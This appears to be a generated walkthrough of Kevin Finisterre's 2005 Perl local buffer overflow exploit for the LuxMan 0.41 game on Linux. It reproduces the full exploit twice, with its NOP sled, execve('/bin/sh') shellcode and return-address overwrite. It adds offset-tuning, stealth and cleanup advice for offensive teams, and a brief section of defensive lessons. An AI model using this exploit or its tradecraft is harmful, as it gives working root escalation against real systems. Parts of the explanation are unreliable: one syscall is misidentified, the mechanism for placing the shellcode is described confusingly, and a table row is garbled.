Understanding the LuxMan 0.41 Local Buffer Overflow Exploit

Understanding the LuxMan 0.41 Local Buffer Overflow Exploit
What this paper is
This paper details a local buffer overflow vulnerability in the LuxMan 0.41 game for Linux. The exploit, written by Kevin Finisterre, demonstrates how to leverage this vulnerability to gain root privileges on a compromised system. It achieves this by overflowing a buffer with shellcode that executes a command to spawn a shell with root privileges.
Simple technical breakdown
The LuxMan game, when handling command-line arguments or potentially other input, has a fixed-size buffer that is not checked for its length. If an attacker provides an input string that is larger than this buffer, it will overwrite adjacent memory. This overwrite can corrupt critical program data, including the return address on the stack.
The exploit crafts a malicious input string that:
- Fills the buffer: It uses a large number of 'A' characters to fill the vulnerable buffer and overflow it.
- Overwrites the return address: After filling the buffer, it places a carefully calculated address. This address points to the attacker's shellcode.
- Injects shellcode: The shellcode is designed to execute
/bin/sh, effectively giving the attacker a root shell.
When the vulnerable function in LuxMan attempts to return from its execution, it will instead jump to the attacker's shellcode, leading to code execution.
Complete code and payload walkthrough
Let's break down the provided Perl script and its components.
#!/usr/bin/perl -w
#
# luxman exploit
#
# ii luxman 0.41-19.1 Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
#
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# svgalib: Failed to initialize mouse.
#
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the `-r' option.
#
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#
($offset) = @ARGV,$offset || ($offset = 0);
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ENV{"FOO"} = $sc;
$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);
#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");
# milw0rm.com [2005-03-14]1. Shebang and Comments:
#!/usr/bin/perl -w
#
# luxman exploit
# ... (descriptive comments)- Purpose: Specifies that the script should be executed with the Perl interpreter and enables warnings (
-w) for better debugging. The comments provide context about the exploit, the vulnerable software (LuxMan 0.41), and testing conditions.
2. Argument Parsing:
($offset) = @ARGV,$offset || ($offset = 0);- Purpose: This line attempts to read a command-line argument passed to the Perl script. If an argument is provided, it's assigned to the
$offsetvariable. If no argument is given,$offsetdefaults to0. - Practical Purpose: The
$offsetvariable is used to fine-tune the address that overwrites the return pointer. This is crucial because the exact memory layout can vary slightly between systems, and a small adjustment might be needed to hit the correct address.
3. Shellcode Definition ($sc):
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";- Purpose: This block defines the shellcode, which is a sequence of machine instructions designed to be executed by the CPU.
- Breakdown of Shellcode Stages:
$sc = "\x90"x512;- Purpose: This creates a "NOP sled" (No Operation). It's a sequence of 512
0x90bytes. - Behavior: When the program execution jumps to any point within this NOP sled, the CPU will simply execute each
0x90instruction, which does nothing, and then proceed to the next instruction. - Practical Purpose: This significantly increases the chances of successfully landing on the shellcode. Instead of needing to hit the exact start of the shellcode, hitting anywhere within the 512-byte NOP sled will eventually lead to the actual executable code.
- Purpose: This creates a "NOP sled" (No Operation). It's a sequence of 512
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";- Purpose: This is the start of the actual shellcode logic. It appears to be setting up registers and preparing for a system call.
- Assembly Interpretation (common for x86 Linux):
\x31\xd2:xor %edx, %edx(Zeroes out the EDX register).\x31\xc9:xor %ecx, %ecx(Zeroes out the ECX register).\x31\xdb:xor %ebx, %ebx(Zeroes out the EBX register).\x31\xc0:xor %eax, %eax(Zeroes out the EAX register).\xb0\xa4:mov $0xa4, %al(Loads the value0xa4into the AL register, which is the lower byte of EAX).0xa4is the syscall number forsetuidin some older Linux kernels.\xcd\x80:int $0x80(Triggers a software interrupt to perform the system call).
- Practical Purpose: This segment likely attempts to set the effective user ID to 0 (root) using the
setuid(0)system call. This is a common technique to escalate privileges if the program is already running with elevated permissions or if the exploit can manipulate the process's UID.
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";- Purpose: Continues the shellcode, likely preparing for the
execvesystem call to spawn a shell. - Assembly Interpretation:
\xeb\x1f:jmp 0x1f(A short jump, likely to skip over some data or to a later part of the shellcode). The target address0x1fis relative to the current instruction pointer.\x5e:pop %esi(Pops a value from the stack into ESI). This is often used to get the address of a string.\x89\x76\x08:mov %esi, 0x8(%esi)(Moves the value in ESI to an offset of 8 bytes from the address in ESI). This is a common way to manipulate pointers.\x31\xc0:xor %eax, %eax(Zeroes out EAX).\x88\x46\x07:mov %al, 0x7(%esi)(Moves the AL register (low byte of EAX, which is 0) to an offset of 7 bytes from ESI).\x89\x46\x0c:mov %eax, 0xc(%esi)(Moves EAX (which is 0) to an offset of 12 bytes from ESI).\xb0\x0b:mov $0x0b, %al(Loads0x0binto AL).0x0bis the syscall number forexecvein Linux.
- Practical Purpose: This section is setting up the arguments for the
execvesystem call. It's likely preparing the pointer to the command string (/bin/sh) and the argument vector.
- Purpose: Continues the shellcode, likely preparing for the
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";- Purpose: Further setup for
execveand the final system call. - Assembly Interpretation:
\x89\xf3:mov %esi, %ebx(Moves the value in ESI to EBX). EBX is typically used for the first argument to a system call. In this case, it would be the pointer to the command string.\x8d\x4e\x08:lea 0x8(%esi), %ecx(Loads the effective address of 8 bytes from ESI into ECX). ECX is the second argument toexecve(argument vector).\x8d\x56\x0c:lea 0xc(%esi), %edx(Loads the effective address of 12 bytes from ESI into EDX). EDX is the third argument toexecve(environment pointer).\xcd\x80:int $0x80(Triggers the system call).\x31\xdb:xor %ebx, %ebx(Zeroes out EBX).\x89\xd8:mov %ebx, %eax(Moves the zeroed EBX into EAX). This is likely to set EAX to 0 if theexecvecall fails, or as a placeholder.\x40:inc %eax(Increments EAX). This is likely to set EAX to 1, which is the syscall number forexit.\xcd\x80:int $0x80(Triggers theexitsystem call).
- Practical Purpose: This section completes the setup for the
execvesystem call, passing the command string and its arguments. It also includes a fallbackexitcall in caseexecvefails.
- Purpose: Further setup for
$sc .= "\xe8\xdc\xff\xff\xff/bin/sh";- Purpose: This is the actual string
/bin/shand a preceding relative jump instruction. - Assembly Interpretation:
\xe8\xdc\xff\xff\xff:call 0xffffffdc(This is a relative CALL instruction. The operand0xffffffdcis a 32-bit signed displacement. Whencallis executed, the instruction pointer is advanced by 5 bytes (the size of thecallinstruction itself), and then0xffffffdcis added to it. This effectively makes thecalljump to the address of/bin/shwhich immediately follows it. Thecallinstruction pushes the return address (the address after/bin/sh) onto the stack)./bin/sh: This is the null-terminated string representing the path to the shell executable.
- Practical Purpose: The
callinstruction is a clever way to get the address of the/bin/shstring. The address of/bin/shis pushed onto the stack by thecallinstruction. The subsequentpop %esi(or similar instructions) in the earlier shellcode segments will then retrieve this address from the stack, making it available as the command to execute.
- Purpose: This is the actual string
4. Environment Variable Injection:
$ENV{"FOO"} = $sc;- Purpose: This line sets an environment variable named "FOO" and assigns the constructed shellcode (
$sc) to it. - Practical Purpose: Many older C programs, when processing command-line arguments or other inputs, might inadvertently copy environment variables into their buffers. By placing the shellcode in an environment variable, the exploit relies on LuxMan copying this variable's content into its vulnerable buffer, thus injecting the shellcode into the program's memory.
5. Buffer Construction ($buf):
$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);- Purpose: This constructs the payload string that will be passed to the LuxMan program.
- Breakdown:
$buf = "A" x 8732;- Purpose: Creates a string consisting of 8732 'A' characters.
- Practical Purpose: These 'A' characters are intended to fill the vulnerable buffer and overflow it. The exact number (8732) is determined through trial and error or analysis of the LuxMan binary to find the point where the buffer overflows and overwrites the return address on the stack.
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);- Purpose: Appends two instances of a packed 32-bit integer to the buffer.
pack("l", ...): This Perl function packs a value into a binary string."l"specifies a signed long integer (typically 32-bit on Linux).(0xbfffffff-512+$offset): This is the calculated address.0xbfffffff: This is a common high memory address on 32-bit Linux systems, often near the top of the user space stack. It's a guess for where the stack might be located.-512: This subtracts the size of the NOP sled. The idea is to point the return address into the NOP sled, allowing execution to slide down to the actual shellcode.+$offset: This incorporates the$offsetvariable, allowing for fine-tuning.
x2: This repeats the packed address twice. This is often done to ensure that if the overflow overwrites multiple return addresses (e.g., if there are multiple saved return addresses on the stack), at least one of them will point to the desired location.- Practical Purpose: This part of the buffer is designed to overwrite the saved return address on the stack. When the vulnerable function returns, it will pop this address off the stack and jump to it. The calculated address is intended to point to the beginning of the NOP sled, which in turn leads to the shellcode.
6. Execution:
#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");- Purpose: This line executes the LuxMan program with specific arguments.
exec(...): This Perl function replaces the current Perl script process with the new program./usr/games/luxman -r 1 -f $buf:/usr/games/luxman: The path to the vulnerable executable.-r 1: Sets the frame rate to 1 (as seen in the output).-f $buf: This is the crucial part. The$bufstring, containing the overflow data and the calculated return address, is passed as an argument to the-foption. It is this argument that the exploit assumes is vulnerable to a buffer overflow.
#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");: The commented-out line shows an alternative execution usingstrace.straceis a powerful debugging tool that traces system calls and signals. Usingstracewould allow the attacker to observe the program's behavior, system calls, and potentially debug the exploit if it fails.
Mapping of Code Fragments to Practical Purpose:
| Code Fragment/Block | Practical Purpose |
|---|---|
#!/usr/bin/perl -w |
Script interpreter and warning enablement. |
| `($offset) = @ARGV,$offset | |
$sc = "\x90"x512; |
NOP sled to increase exploit reliability by providing a larger landing zone for the return address. |
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80"; |
Initial shellcode stage: Sets up registers and attempts setuid(0) syscall to gain root privileges. |
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"; |
Shellcode stage: Prepares for execve syscall by setting up argument pointers and setting EAX to 0x0b. |
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"; |
Shellcode stage: Finalizes execve argument setup and includes a fallback exit syscall. |
$sc .= "\xe8\xdc\xff\xff\xff/bin/sh"; |
Shellcode stage: Contains the /bin/sh string and a call instruction to push its address onto the stack, which is then retrieved by earlier stages. |
$ENV{"FOO"} = $sc; |
Injects the shellcode into the environment, hoping the vulnerable program will copy it into its buffer. |
$buf = "A" x 8732; |
Padding to fill the vulnerable buffer and reach the overwrite point for the return address. |
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2); |
Overwrites the return address on the stack with a calculated address pointing into the NOP sled, followed by the actual shellcode. |
exec("/usr/games/luxman -r 1 -f $buf"); |
Executes the vulnerable program with the crafted malicious argument, triggering the buffer overflow. |
Practical details for offensive operations teams
- Required Access Level: Local access to the target system is required. The exploit targets a local privilege escalation vulnerability.
- Lab Preconditions:
- A vulnerable version of LuxMan (0.41) must be installed on the target Linux system.
- The system must be running a compatible Linux kernel and libc version where the shellcode is effective. Older systems are more likely to be vulnerable.
- The exploit relies on the program reading its input from an environment variable or a command-line argument in a way that causes a buffer overflow.
- The target system's memory layout (stack location, buffer sizes) should be somewhat predictable. The
0xbfffffffaddress is a common guess for 32-bit systems. - The exploit assumes that the
setuid(0)syscall is available and effective.
- Tooling Assumptions:
- Perl Interpreter: The exploit is written in Perl, so a Perl interpreter must be available on the attacker's machine or the compromised system.
- Shellcode: The shellcode is embedded. If modifications are needed, an assembler (like
nasmorgas) and a linker would be required to create custom shellcode. - Exploit Development Environment: A system with Perl installed for running the exploit script.
- Execution Pitfalls:
- Address Mismatch: The calculated return address
(0xbfffffff-512+$offset)might not be correct for the target system's memory layout. The$offsetvariable is crucial for tuning. If the exploit fails, adjusting$offsetis the first step. - Buffer Size: The
8732'A's might not be the exact amount needed to reach the return address. This value is highly dependent on the specific compilation and linking of the LuxMan binary. - ASLR/DEP: Modern systems employ Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). These protections make it significantly harder to predict memory addresses and execute shellcode from data segments. This exploit would likely not work on modern, hardened systems without significant modifications or bypass techniques.
- Environment Variable Handling: The exploit assumes LuxMan copies environment variables into its vulnerable buffer. If it doesn't, or if it sanitizes them, the exploit will fail.
- Syscall Availability: The shellcode uses specific syscall numbers (
0xa4forsetuid,0x0bforexecve). These numbers can vary slightly between kernel versions. - Permissions: The exploit requires the user running it to have permission to execute
/usr/games/luxman.
- Address Mismatch: The calculated return address
- Tradecraft Considerations:
- Stealth: Running a local privilege escalation exploit is often a post-exploitation step. The primary goal is to gain higher privileges on an already compromised system.
- Telemetry: Executing
/usr/games/luxmanwith a very long argument might generate unusual process activity logs. The creation of a new shell process (/bin/sh) will be a significant event. Thesetuid(0)call might also be logged by auditing systems. - Cleanup: Ensure no residual files or processes are left behind. The Perl script itself is temporary.
Where this was used and when
- Context: This exploit targets a specific version of the LuxMan game (0.41). It was published in 2005.
- Usage: Such exploits were commonly used in the early to mid-2000s for local privilege escalation on Linux systems. They were often found in CTF (Capture The Flag) competitions or used by penetration testers to demonstrate vulnerabilities.
- Timeframe: The exploit was published on March 14, 2005. Its relevance would have diminished significantly with the introduction and widespread adoption of modern security mitigations like ASLR and DEP.
Defensive lessons for modern teams
- Input Validation is Paramount: Always validate the size and content of user-supplied input, whether from command-line arguments, environment variables, network sockets, or files. Never trust external input.
- Secure Coding Practices: Developers must be trained to avoid common vulnerabilities like buffer overflows. Use safer functions (e.g.,
strncpyinstead ofstrcpy,snprintfinstead ofsprintf) and employ static/dynamic analysis tools. - Compiler/OS Hardening: Modern compilers and operating systems offer significant protection:
- Stack Canaries: Detect buffer overflows by placing a random value (canary) on the stack before the return address. If the canary is corrupted, the overflow is detected before the function returns.
- ASLR (Address Space Layout Randomization): Randomizes the memory addresses of key program components (stack, heap, libraries), making it difficult for attackers to predict where to jump.
- DEP/NX (Data Execution Prevention/No-Execute): Marks memory regions as non-executable, preventing attackers from running shellcode injected into data segments.
- Regular Patching: Keep all software, including games and applications, updated to the latest versions to patch known vulnerabilities.
- Principle of Least Privilege: Run applications with the minimum privileges necessary. If LuxMan doesn't need root privileges, it should not run as root.
ASCII visual (if applicable)
This exploit relies on overwriting the program's stack. A simplified visual representation of the stack before and after the overflow:
Before Overflow:
+-----------------+
| ... |
+-----------------+
| Function Args |
+-----------------+
| Return Address | <--- Target for overwrite
+-----------------+
| Saved Frame Ptr |
+-----------------+
| Local Variables |
+-----------------+
| Vulnerable Buf | <--- Filled by 'A's
+-----------------+
| ... |
+-----------------+
After Overflow:
+-----------------+
| ... |
+-----------------+
| Function Args |
+-----------------+
| Exploit Addr | <--- Points to NOP sled/shellcode
+-----------------+
| Saved Frame Ptr | (Potentially overwritten)
+-----------------+
| Local Variables | (Potentially overwritten)
+-----------------+
| 'A' * 8732 |
+-----------------+
| Exploit Addr | <--- Points to NOP sled/shellcode
+-----------------+
| ... |
+-----------------+The exploit aims to overwrite the "Return Address" with an address pointing into the NOP sled, which then leads to the execution of the shellcode.
Source references
- Paper: Frank McIngvale LuxMan 0.41 - Local Buffer Overflow
- Author: Kevin Finisterre
- Published: 2005-03-14
- Exploit-DB URL: https://www.exploit-db.com/papers/877
- Raw Exploit URL: https://www.exploit-db.com/raw/877
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
#
# luxman exploit
#
# ii luxman 0.41-19.1 Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
#
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# svgalib: Failed to initialize mouse.
#
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the `-r' option.
#
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#
($offset) = @ARGV,$offset || ($offset = 0);
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ENV{"FOO"} = $sc;
$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);
#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");
# milw0rm.com [2005-03-14]